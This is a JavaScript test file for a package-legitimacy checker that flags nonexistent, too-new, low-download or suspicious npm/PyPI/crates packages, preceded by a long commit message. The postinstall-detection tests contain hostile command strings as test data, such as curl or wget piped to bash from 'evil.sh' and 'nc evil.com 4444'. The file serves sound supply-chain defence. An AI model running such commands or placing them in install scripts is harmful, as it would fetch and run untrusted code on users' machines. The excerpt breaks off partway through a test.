Files
msd-core/tests/package-legitimacy.test.cjs
Tom Boucher 11afca2968 feat(#656): Research module — content-addressed cache + provider seam + registry-API legitimacy (#664)
* feat(#656): add Research Store module (content-addressed cache, TTL staleness)

Content-addressed research cache behind a clock seam: researchKey (sha256, deterministic), putResearch/getResearch ({hit,stale}, never throws), ttlForSource (curated HIGH 30d / MED 7d / web LOW 1d), two-tier resolveStorePath (curated -> ~/.gsd/research-cache, web/synthesis -> project .planning/research/.cache). 28 behavioral + property tests; boundary coverage at ttl-1/ttl/ttl+1.

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* feat(#656): add Research Provider module (waterfall + confidence + plan)

Single source of truth for the Balanced provider waterfall (docs Context7->Ref->Jina, web Exa+Tavily, fallback Perplexity/Brave, Firecrawl scrape-only). classifyConfidence stamps HIGH|MEDIUM|LOW by provider (never throws). providerAvailability maps config flags to usable providers. planResearch checks the Research Store (injected seam) and returns cache-hits + a per-question fetch plan, falling through the waterfall to the always-available websearch terminal. 22 behavioral + property tests.

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* feat(#656): add Package Legitimacy module (registry-API verdicts, slopcheck optional)

Replaces the pip-install-or-degrade slopcheck prose gate with code: classifyPackage (pure, never throws) computes OK|SUS|SLOP from tunable thresholds (minAgeDays 30, minWeeklyDownloads 1000, requireRepo). checkPackages queries injectable npm/PyPI/crates registry adapters (real https with 5s timeout, degraded-not-thrown on failure); slopcheck is one optional adapter that can only escalate severity, never degrade to [ASSUMED]. 34 behavioral + property tests; boundary coverage on age and downloads (limit-1/limit/limit+1).

Known follow-up: real npm adapter must add api.npmjs.org last-week downloads fetch (currently null -> unknown-downloads). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* feat(#656): detect Tavily/Ref/Perplexity/Jina provider keys; complete npm downloads adapter

config: add tavily_search/ref_search/perplexity/jina availability flags (env var or ~/.gsd/<x>_api_key), mirroring brave_search/exa_search/firecrawl, so the Research Provider waterfall can gate them. package-legitimacy: real npm adapter now fetches api.npmjs.org last-week downloads (bounded, degraded-not-thrown) so weeklyDownloads is populated. +12 config tests; 34 legitimacy tests unchanged.

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* feat(#656): expose Research seam via gsd-tools query (research-plan, research-store, package-legitimacy)

Routes the L2-hybrid surface so agents reach it as CLI: 'query research-store get/put' (cache, HOME-sandboxable), 'query research-plan --input' (cache-hits + fetch plan from planResearch), 'query package-legitimacy check --ecosystem' (async registry verdicts). Commands skip .planning root resolution and appear in top-level usage. 5 behavioral runGsdTools tests; command-contract unchanged (335).

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* docs(#656): document Research module (CONTEXT predicates, ADR-0656, architecture, changeset)

Adds GSD-RESEARCH.* + DEFECT.RESEARCH-PROVIDER-PROSE-DRIFT predicates to CONTEXT.md, ADR-0656 recording the L2-hybrid seam decision, a docs/ARCHITECTURE.md Research Module subsection, and an Added changeset fragment (pr:0, backfill on PR). Notes the #657 deferrals (agent collapse + install.js MCP mapping).

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* chore(#656): sync inventory for research modules

Regenerate INVENTORY-MANIFEST.json and bump docs/INVENTORY.md CLI Modules count 82->85 with rows for research-store/research-provider/package-legitimacy (DEFECT.INVENTORY-DRIFT).

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* chore(#656): eslint-ignore generated research .cjs artifacts (ADR-457)

research-store/research-provider/package-legitimacy .cjs are tsc-generated from src/*.cts, so they belong in the ESLint ignore block (lint the .cts source, not the emitted .cjs). Fixes tests/551-eslint-bin-lib-coverage.

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* chore(#656): backfill changeset pr number to #664

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* chore(#656): satisfy eslint lint-tests gate

Fix 20 eslint errors in the new research files: use helpers.cleanup() instead of raw fs.rmSync() in tests (local/no-raw-rmsync-in-tests, Windows-EBUSY retry budget); drop redundant '| string' union members and unnecessary type assertions; deterministic object normalization in researchKey (no-base-to-string). Logic unchanged; 6180 tests still green.

Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix(#656): harden package legitimacy per review (W1/W2/I3/I4)

W1: httpsGet now reads statusCode; npm/PyPI/crates map 404 -> exists:false -> SLOP (registry-existence is the #1 slopsquatting defense; previously only npm caught it). Transport made injectable (_setHttpGet) for hermetic 404 tests. W2: suspicious-postinstall is now terminal SLOP independent of the optional slopcheck adapter, and the regex drops the bare https?:// arm (over-fired on esbuild/sharp/node-gyp) for shell-exec/download-exec signatures only. I3: checkPackages now threads version to registry.lookup and adapters verify that specific version exists. I4: moreServerVerdict -> moreSevereVerdict. +11 regression tests (all RED-first); 45 total green.

Addresses review by @davesienkowski on #664. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix(#656): research-store tier coherence + freshness + version TTL (W4/I1/I2/I4)

I1: tier now derives from source (curated -> user ~/.gsd, else -> project .planning), not kind, so put-tier and get-tier can't diverge; kind is a key component only. W4: getResearch searches both tiers and returns the freshest (non-stale preferred), never letting a stale curated entry shadow a fresh web one; blank version caps TTL at 1 day (no 30d on version-blind keys). I2: atomic platformWriteSync instead of raw fs.writeFileSync on the shared global path. I4: dropped the dead ttlForSource arm. CLI get now searches both tiers. +5 RED-first regression tests; 38 green.

Addresses review by @davesienkowski on #664. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix(#656): expose classifyConfidence as a CLI route, killing dead code (W3)

Adds 'gsd-tools query classify-confidence --provider X [--verified]' so research agents get the confidence tier FROM CODE (provider waterfall + verification lever) instead of asserting it in prose. classifyConfidence previously had no runtime caller. HIGH means 'trusted provider'; --verified raises web results to MEDIUM (verification semantics documented in ADR-0656). +4 behavioral tests.

Addresses review by @davesienkowski on #664 (W3). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix(#656): close Codex adversarial-review findings (path-traversal, version-age, malformed-cache)

HIGH: research key must be 64-hex sha256 (isValidResearchKey) + resolved-path containment check in put/get + CLI validation -> blocks '../../x' arbitrary-file-write. HIGH: package legitimacy now derives publishedAt from the REQUESTED version (npm time[version], PyPI releases[version] upload_time, crates versions[].created_at) so a new malicious version of an old package can't inherit old age and evade 'too-new'. MEDIUM: getResearch validates entry shape (finite fetched_at + positive ttl + required fields) -> malformed cache entry is a miss, not fresh-forever. +regression tests (RED-first); 111 green.

Codex adversarial review (required pre-PR gate). Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix(#656): close code-review correctness findings

(1) package-legitimacy CLI now rejects unknown --flags instead of silently consuming the following package as a flag value; only --ecosystem takes a value. (2) crates recent_downloads (90-day) normalized to a weekly figure before the minWeeklyDownloads threshold (was ~13x too lenient). (3) research-plan --input validates parsed JSON is an object with an Array questions before destructuring -> clean usage error instead of an uncaught TypeError on null/bad input. (4) research-store put rejects a flag value that is itself a --flag (no more storing '--source' as content). (5) planResearch skips questions whose text is not a non-empty string instead of emitting question:undefined. +13 RED-first regression tests; 143 green.

Code-review gate. Issue #656. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* refactor(#657): extract researcher documentation_lookup to shared @-reference

6 researcher agents carried a near-duplicate <documentation_lookup> block; consolidate into gsd-core/references/research-documentation-lookup.md (@-included). Unifies the ctx7 CLI fallback to the safer 'command -v ctx7' guard (drops silent 'npx --yes ctx7@latest' execution in 5 agents). Behavior-preserving dedup; inventory 63->64 references. Phase A of the agent collapse.

Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* refactor(#657): extract researcher philosophy + verification-protocol to shared @-references

philosophy and the pitfalls+pre-submission-checklist common-core were near-duplicated in project/phase researchers; consolidate into gsd-core/references/research-{philosophy,verification-protocol}.md (@-included). phase-researcher keeps its 3 extra checklist items inline. Pre-submission domains checklist made agent-agnostic so project-researcher doesn't lose features/architecture coverage. Write-contract intentionally left inline (bug-214 tests assert it verbatim). Inventory 64->66 refs. Behavior-preserving. Phase A.

Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* feat(#657): wire gsd-phase-researcher to the Research seam (Phase B / S1)

The phase researcher now CALLS the code seam instead of carrying inline mechanics: provider waterfall -> 'gsd-tools query research-plan' (+ research-store put to cache digests); confidence-tier prose -> 'gsd-tools query classify-confidence'; slopcheck pip-install protocol -> 'gsd-tools query package-legitimacy check'. This makes the Research module a real runtime consumer (validates the seam end-to-end, addresses reviewer S1) and removes the duplicated waterfall/confidence/slopcheck prose. RESEARCH.md output contract, commit step, structured returns, and Phase-A @-includes unchanged. package-legitimacy-gate.test.cjs rewritten prose-grep -> behavioral (asserts the seam invocation).

Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* feat(#657): wire gsd-project-researcher to the seam + add tavily/ref/jina MCP tools (Phase C.1)

project-researcher now calls gsd-tools query research-plan / classify-confidence (+ research-store put) instead of the inline provider waterfall + confidence-tier prose (mirrors the phase-researcher rewire; no package-legitimacy — phase-only). Output contract (STACK/FEATURES/ARCHITECTURE/PITFALLS/SUMMARY.md + sections, no-commit, structured returns, Phase-A @-includes) unchanged. Adds mcp__tavily/ref/jina__* to the project/phase/ui researcher tools frontmatter (Balanced provider set) so install.js MCP mapping (C.2) has a consumer.

Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* test(#657): cover tavily/ref/jina MCP install handling + frontmatter parity guard (Phase C.2)

Investigation: exa/firecrawl have no explicit per-runtime tool-mapping — every mcp__<server>__* except context7 rides the generic passthrough (Copilot lowercases; OpenCode/Cursor/Windsurf/Augment keep as-is; Gemini auto-discovers). tavily/ref/jina are handled identically, no install path broken. Added 12 copilot-install passthrough tests + a mcp-tool-inheritance parity guard (tavily co-declared with exa, jina with firecrawl, ref present across the 3 web researchers) so the MCP set can't drift. No io.github registry ids invented (none sourceable in-repo); documented as a follow-up. 488 tests green.

Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* feat(#657): profiles as source of truth for researcher agents + drift-guard (Phase C.3)

scripts/research-profiles.cjs declares each of the 7 researcher agents' identity + contract (name, description, color, tools, required @-includes, required gsd-tools seam calls, output-contract markers). scripts/gen-research-agents.cjs --check validates every committed agent against its profile; --write regenerates ONLY the frontmatter from profiles (body untouched) and is a verified no-op against the current agents (zero diff = fidelity). tests/research-agent-profiles.test.cjs is the DEFECT.GENERATIVE-FIX drift guard. Design note: profiles govern the generatable/contract surface rather than destructively regenerating the disparate operational prose bodies (those were deduped via @-includes in Phase A). scripts/ is not inventoried (no inventory change).

Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix(#657): complete agent provider-dispatch + parity guard; align legitimacy field; validate profiles

Adversarial-review findings: (HIGH) the seam-wired agents' Step-C dispatch only mapped 6 providers, so a planResearch result of jina/ref/perplexity/brave (reachable via the waterfall fallbacks) had no handling -> agent stall; completed both agents' dispatch to all 9 PROVIDER_WATERFALL ids + a catch-all, and added a parity test asserting agent dispatch stays in sync with research-provider PROVIDER_WATERFALL (DEFECT.GENERATIVE-FIX). (MEDIUM) phase-researcher package-legitimacy JSON example used 'package' but the module returns 'name' -> aligned. (LOW) gen-research-agents checkAgent now returns a clear failure for a malformed profile instead of throwing. +parity/validation tests (RED-first).

Issue #657. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* fix(#656): make classifyConfidence verification-evidence-driven (W3)

Confidence conflated provider authority with claim verification — context7/ref
stamped HIGH purely by provider identity, and the only verification lever was a
self-set --verified flag. Split into two axes: provider authority (static) +
verification evidence (code-computed). HIGH now requires ground-truth
corroboration (legitimacyVerdict OK), independent of provider; authority alone
caps at MEDIUM; SLOP caps at LOW; the self-reported --verified is demoted to a
MEDIUM-only web lever. HIGH = corroborated-against-authoritative-source, not a
correctness guarantee. Adds --legitimacy-verdict to the classify-confidence CLI;
updates CONTEXT.md predicate + ADR-0656 (tier set unchanged, ADR-consistent).

Addresses davesienkowski's W3 review on #664.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* fix(#656): bind classify-confidence verdict to code, closing CLI self-grading

Adversarial review found the new --legitimacy-verdict flag was caller-supplied,
so an agent could self-assert OK->HIGH without any real legitimacy check —
reintroducing the exact self-grading hole W3 closes. Remove the free flag; the
CLI now computes the verdict via checkPackages only when --package/--ecosystem
is given (code-computed, not agent-asserted). Update the stale CLI test
(context7 alone -> MEDIUM) and extend the property test to vary legitimacyVerdict.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-05 17:58:48 -04:00

793 lines
32 KiB
JavaScript

'use strict';
/**
* TDD tests for package-legitimacy.cjs
*
* RULESET.TESTS.no-source-grep: all tests use injected fakes — no real network,
* no source-grep. Clock is injected via { now: () => FIXED_MS }.
* RULESET.TESTS.boundary-coverage: every threshold has N∈{limit-1, limit, limit+1}.
*/
const { describe, test } = require('node:test');
const assert = require('node:assert/strict');
const {
DEFAULT_THRESHOLDS,
classifyPackage,
checkPackages,
_setHttpGet,
} = require('../gsd-core/bin/lib/package-legitimacy.cjs');
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
/** Fixed clock epoch: 2024-01-01T00:00:00.000Z */
const FIXED_MS = Date.UTC(2024, 0, 1, 0, 0, 0, 0);
const fixedClock = { now: () => FIXED_MS };
/**
* Build a publishedAt ISO string such that ageDays days before FIXED_MS.
*/
function publishedAt(ageDays) {
return new Date(FIXED_MS - ageDays * 86_400_000).toISOString();
}
/** Healthy baseline signals */
function healthySignals(overrides = {}) {
return {
exists: true,
publishedAt: publishedAt(400),
weeklyDownloads: 50_000,
repoUrl: 'https://github.com/example/pkg',
deprecated: false,
postinstall: null,
ecosystem: 'npm',
...overrides,
};
}
/** Fake registry that always returns healthy signals */
function fakeRegistry(signalsByName = {}) {
return {
lookup: async (_eco, name) => {
if (signalsByName[name] !== undefined) return signalsByName[name];
return healthySignals();
},
};
}
// ---------------------------------------------------------------------------
// Cycle 1 — TRACER: one npm pkg, all healthy -> OK
// ---------------------------------------------------------------------------
describe('Cycle 1 — tracer: one npm package, healthy signals → OK', () => {
test('checkPackages returns [{ name, verdict:"OK", reasons:[] }]', async () => {
const registry = fakeRegistry();
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['lodash'], version: '4.17.21' },
{ registry, clock: fixedClock }
);
assert.ok(Array.isArray(results), 'result is array');
assert.equal(results.length, 1);
const r = results[0];
assert.equal(r.name, 'lodash');
assert.equal(r.verdict, 'OK');
assert.deepEqual(r.reasons, []);
});
});
// ---------------------------------------------------------------------------
// Cycle 2 — nonexistent: exists:false -> SLOP, does-not-exist
// ---------------------------------------------------------------------------
describe('Cycle 2 — nonexistent package → SLOP', () => {
test('fake registry returns { exists:false } -> verdict SLOP, reason does-not-exist', async () => {
const registry = fakeRegistry({ 'no-such-pkg': { exists: false } });
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['no-such-pkg'] },
{ registry, clock: fixedClock }
);
assert.equal(results.length, 1);
const r = results[0];
assert.equal(r.verdict, 'SLOP');
assert.ok(r.reasons.includes('does-not-exist'), `reasons: ${r.reasons}`);
});
test('classifyPackage with exists:false is terminal and returns only does-not-exist', () => {
const { verdict, reasons } = classifyPackage({ exists: false }, { clock: fixedClock });
assert.equal(verdict, 'SLOP');
assert.deepEqual(reasons, ['does-not-exist']);
});
});
// ---------------------------------------------------------------------------
// Cycle 3 — AGE BOUNDARY (minAgeDays=30): 29 → too-new; 30 → OK; 31 → OK
// ---------------------------------------------------------------------------
describe('Cycle 3 — age boundary (minAgeDays=30)', () => {
const thresholds = { ...DEFAULT_THRESHOLDS, minAgeDays: 30 };
test('ageDays=29 → reason too-new (SUS)', () => {
const signals = healthySignals({ publishedAt: publishedAt(29) });
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(reasons.includes('too-new'), `reasons: ${reasons}`);
assert.equal(verdict, 'SUS');
});
test('ageDays=30 → NOT too-new', () => {
const signals = healthySignals({ publishedAt: publishedAt(30) });
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(!reasons.includes('too-new'), `reasons unexpectedly includes too-new: ${reasons}`);
// should be OK (other signals healthy)
assert.equal(verdict, 'OK');
});
test('ageDays=31 → NOT too-new', () => {
const signals = healthySignals({ publishedAt: publishedAt(31) });
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(!reasons.includes('too-new'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
});
// ---------------------------------------------------------------------------
// Cycle 4 — DOWNLOADS BOUNDARY (minWeeklyDownloads=1000)
// ---------------------------------------------------------------------------
describe('Cycle 4 — downloads boundary (minWeeklyDownloads=1000)', () => {
const thresholds = { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000 };
test('weeklyDownloads=999 → low-downloads (SUS)', () => {
const signals = healthySignals({ weeklyDownloads: 999 });
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(reasons.includes('low-downloads'), `reasons: ${reasons}`);
assert.equal(verdict, 'SUS');
});
test('weeklyDownloads=1000 → NOT low-downloads', () => {
const signals = healthySignals({ weeklyDownloads: 1000 });
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(!reasons.includes('low-downloads'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
test('weeklyDownloads=1001 → NOT low-downloads', () => {
const signals = healthySignals({ weeklyDownloads: 1001 });
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(!reasons.includes('low-downloads'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
});
// ---------------------------------------------------------------------------
// Cycle 5 — no repo: repoUrl null + requireRepo:true -> no-repository SUS
// ---------------------------------------------------------------------------
describe('Cycle 5 — no repository URL', () => {
test('repoUrl null, requireRepo true → no-repository SUS', () => {
const signals = healthySignals({ repoUrl: null });
const thresholds = { ...DEFAULT_THRESHOLDS, requireRepo: true };
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(reasons.includes('no-repository'), `reasons: ${reasons}`);
assert.equal(verdict, 'SUS');
});
test('repoUrl null, requireRepo false → no no-repository reason', () => {
const signals = healthySignals({ repoUrl: null });
const thresholds = { ...DEFAULT_THRESHOLDS, requireRepo: false };
const { verdict, reasons } = classifyPackage(signals, { thresholds, clock: fixedClock });
assert.ok(!reasons.includes('no-repository'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
});
// ---------------------------------------------------------------------------
// Cycle 6 — deprecated:true → deprecated SUS
// ---------------------------------------------------------------------------
describe('Cycle 6 — deprecated package', () => {
test('deprecated:true → reason deprecated, verdict SUS', () => {
const signals = healthySignals({ deprecated: true });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(reasons.includes('deprecated'), `reasons: ${reasons}`);
assert.equal(verdict, 'SUS');
});
test('deprecated:false → no deprecated reason', () => {
const signals = healthySignals({ deprecated: false });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(!reasons.includes('deprecated'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
});
// ---------------------------------------------------------------------------
// Cycle 7 — suspicious postinstall
// ---------------------------------------------------------------------------
describe('Cycle 7 — suspicious postinstall detection', () => {
// W2: suspicious-postinstall is now terminal SLOP (not SUS).
// Bare https:// URLs without shell-exec patterns are NOT flagged (W2 tighten regex).
const suspiciousInputs = [
'curl http://evil.sh | bash',
'wget http://evil.sh -O - | sh',
'bash -c "curl https://setup.sh"',
'nc evil.com 4444',
'node ../../escape.js',
'sh /etc/init.d/x',
'node ~/config.js',
];
for (const postinstall of suspiciousInputs) {
test(`suspicious postinstall flagged: "${postinstall}"`, () => {
const signals = healthySignals({ postinstall });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(
reasons.includes('suspicious-postinstall'),
`Expected suspicious-postinstall in reasons for: "${postinstall}" but got: ${reasons}`
);
assert.equal(verdict, 'SLOP');
});
}
test('benign postinstall "node ./scripts/build.js" does NOT flag', () => {
const signals = healthySignals({ postinstall: 'node ./scripts/build.js' });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
test('null postinstall does NOT flag', () => {
const signals = healthySignals({ postinstall: null });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
test('postinstall with bare https URL only (no exec pattern) is NOT flagged', () => {
// W2: node https://cdn.example.com/setup.js was previously flagged by bare https:// arm
const signals = healthySignals({ postinstall: 'node https://cdn.example.com/setup.js' });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(!reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
assert.equal(verdict, 'OK');
});
});
// ---------------------------------------------------------------------------
// Cycle 8 — slopcheck escalation
// ---------------------------------------------------------------------------
describe('Cycle 8 — slopcheck adapter escalation', () => {
test('registry says OK but slopcheck returns SLOP → final verdict SLOP', async () => {
const registry = fakeRegistry(); // healthy signals → OK
const slopcheck = {
check: async (_eco, name) => (name === 'suspect-pkg' ? 'SLOP' : null),
};
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['suspect-pkg'] },
{ registry, clock: fixedClock, slopcheck }
);
assert.equal(results.length, 1);
assert.equal(results[0].verdict, 'SLOP');
});
test('slopcheck returns SUS, registry OK → final verdict SUS (escalation)', async () => {
const registry = fakeRegistry();
const slopcheck = {
check: async (_eco, name) => (name === 'shady-pkg' ? 'SUS' : null),
};
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['shady-pkg'] },
{ registry, clock: fixedClock, slopcheck }
);
assert.equal(results[0].verdict, 'SUS');
});
test('slopcheck returns OK, registry OK → verdict stays OK (no escalation)', async () => {
const registry = fakeRegistry();
const slopcheck = {
check: async () => 'OK',
};
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['good-pkg'] },
{ registry, clock: fixedClock, slopcheck }
);
assert.equal(results[0].verdict, 'OK');
});
test('NO slopcheck provided → registry verdict stands, no degradation', async () => {
const registry = fakeRegistry(); // healthy → OK
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['some-pkg'] },
{ registry, clock: fixedClock }
// no slopcheck
);
assert.equal(results[0].verdict, 'OK');
assert.deepEqual(results[0].reasons, []);
});
test('slopcheck returns null (no opinion) → registry verdict stands', async () => {
const registry = fakeRegistry();
const slopcheck = {
check: async () => null,
};
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['neutral-pkg'] },
{ registry, clock: fixedClock, slopcheck }
);
assert.equal(results[0].verdict, 'OK');
});
});
// ---------------------------------------------------------------------------
// Missing/partial signals handling
// ---------------------------------------------------------------------------
describe('Missing/partial signals — never throws, sensible defaults', () => {
test('missing publishedAt → unknown-age SUS reason', () => {
const signals = healthySignals({ publishedAt: null });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(reasons.includes('unknown-age'), `reasons: ${reasons}`);
assert.equal(verdict, 'SUS');
});
test('missing weeklyDownloads → unknown-downloads SUS reason', () => {
const signals = healthySignals({ weeklyDownloads: null });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(reasons.includes('unknown-downloads'), `reasons: ${reasons}`);
assert.equal(verdict, 'SUS');
});
test('multiple issues collected at once (deprecated + no-repo + low-downloads)', () => {
const signals = healthySignals({
deprecated: true,
repoUrl: null,
weeklyDownloads: 0,
});
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(reasons.includes('deprecated'), `deprecated missing: ${reasons}`);
assert.ok(reasons.includes('no-repository'), `no-repository missing: ${reasons}`);
assert.ok(reasons.includes('low-downloads'), `low-downloads missing: ${reasons}`);
assert.equal(verdict, 'SUS');
});
});
// ---------------------------------------------------------------------------
// REGRESSION W1 — 404 → exists:false → SLOP for ALL ecosystems
// (uses _setHttpGet transport injection into the real adapters)
// ---------------------------------------------------------------------------
describe('W1 — 404 response → SLOP for all ecosystems', () => {
const notFoundTransport = async (_url, _timeoutMs) => ({ statusCode: 404, body: 'Not Found' });
test('npm 404 → signals.exists===false, verdict SLOP', async () => {
_setHttpGet(notFoundTransport);
try {
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['ghost-npm-pkg'] },
{ clock: fixedClock }
);
assert.equal(results.length, 1);
assert.equal(results[0].signals.exists, false, `npm 404 should set exists:false, got: ${results[0].signals.exists}`);
assert.equal(results[0].verdict, 'SLOP', `npm 404 should produce SLOP, got: ${results[0].verdict}`);
assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`);
} finally {
_setHttpGet(null);
}
});
test('pypi 404 → signals.exists===false, verdict SLOP', async () => {
_setHttpGet(notFoundTransport);
try {
const results = await checkPackages(
{ ecosystem: 'pypi', packages: ['ghost-pypi-pkg'] },
{ clock: fixedClock }
);
assert.equal(results.length, 1);
assert.equal(results[0].signals.exists, false, `pypi 404 should set exists:false, got: ${results[0].signals.exists}`);
assert.equal(results[0].verdict, 'SLOP', `pypi 404 should produce SLOP, got: ${results[0].verdict}`);
assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`);
} finally {
_setHttpGet(null);
}
});
test('crates 404 → signals.exists===false, verdict SLOP', async () => {
_setHttpGet(notFoundTransport);
try {
const results = await checkPackages(
{ ecosystem: 'crates', packages: ['ghost-crate'] },
{ clock: fixedClock }
);
assert.equal(results.length, 1);
assert.equal(results[0].signals.exists, false, `crates 404 should set exists:false, got: ${results[0].signals.exists}`);
assert.equal(results[0].verdict, 'SLOP', `crates 404 should produce SLOP, got: ${results[0].verdict}`);
assert.ok(results[0].reasons.includes('does-not-exist'), `reasons: ${results[0].reasons}`);
} finally {
_setHttpGet(null);
}
});
test('2xx with valid body → exists:true, not SLOP', async () => {
const npmPayload = JSON.stringify({
'dist-tags': { latest: '1.0.0' },
versions: { '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } } },
time: { '1.0.0': new Date(FIXED_MS - 90 * 86_400_000).toISOString() },
});
let call = 0;
const okTransport = async (_url, _timeoutMs) => {
call++;
if (call === 1) return { statusCode: 200, body: npmPayload };
// downloads API second call
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
};
_setHttpGet(okTransport);
try {
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['real-pkg'] },
{ clock: fixedClock }
);
assert.equal(results[0].signals.exists, true, `2xx should set exists:true`);
} finally {
_setHttpGet(null);
}
});
});
// ---------------------------------------------------------------------------
// REGRESSION W2 — suspicious-postinstall is terminal SLOP; tighten regex
// ---------------------------------------------------------------------------
describe('W2 — suspicious postinstall is terminal SLOP', () => {
test('curl|bash postinstall → verdict SLOP (not SUS)', () => {
const signals = healthySignals({ postinstall: 'curl https://evil.sh | bash' });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
assert.equal(verdict, 'SLOP', `curl|bash should produce SLOP, got: ${verdict}`);
});
test('wget|sh postinstall → verdict SLOP', () => {
const signals = healthySignals({ postinstall: 'wget http://evil.sh | sh' });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(reasons.includes('suspicious-postinstall'), `reasons: ${reasons}`);
assert.equal(verdict, 'SLOP', `wget|sh should produce SLOP, got: ${verdict}`);
});
test('postinstall with bare https:// URL only (no exec) → NOT flagged, verdict OK', () => {
// e.g. esbuild-style: "node install.js" script that happens to echo a URL
const signals = healthySignals({ postinstall: 'echo see https://example.com for docs' });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(
!reasons.includes('suspicious-postinstall'),
`bare https URL should NOT flag suspicious-postinstall, got reasons: ${reasons}`
);
assert.equal(verdict, 'OK', `bare https URL postinstall should be OK, got: ${verdict}`);
});
test('postinstall "node install.js" with an https URL in it → NOT flagged', () => {
// Legit pattern used by esbuild, sharp, etc.
const signals = healthySignals({ postinstall: 'node install.js # see https://example.com' });
const { verdict, reasons } = classifyPackage(signals, { clock: fixedClock });
assert.ok(
!reasons.includes('suspicious-postinstall'),
`node install.js should not flag, got reasons: ${reasons}`
);
assert.equal(verdict, 'OK');
});
});
// ---------------------------------------------------------------------------
// REGRESSION I3 — version parameter passed through to registry.lookup
// ---------------------------------------------------------------------------
describe('I3 — version parameter forwarded to registry.lookup', () => {
test('checkPackages passes version to registry.lookup', async () => {
const calls = [];
const recordingRegistry = {
lookup: async (eco, name, version) => {
calls.push({ eco, name, version });
return healthySignals();
},
};
await checkPackages(
{ ecosystem: 'npm', packages: ['my-pkg'], version: '1.2.3' },
{ registry: recordingRegistry, clock: fixedClock }
);
assert.equal(calls.length, 1);
assert.equal(calls[0].version, '1.2.3', `Expected version '1.2.3' to be forwarded but got: ${calls[0].version}`);
});
test('when version omitted, registry.lookup called with undefined version', async () => {
const calls = [];
const recordingRegistry = {
lookup: async (eco, name, version) => {
calls.push({ eco, name, version });
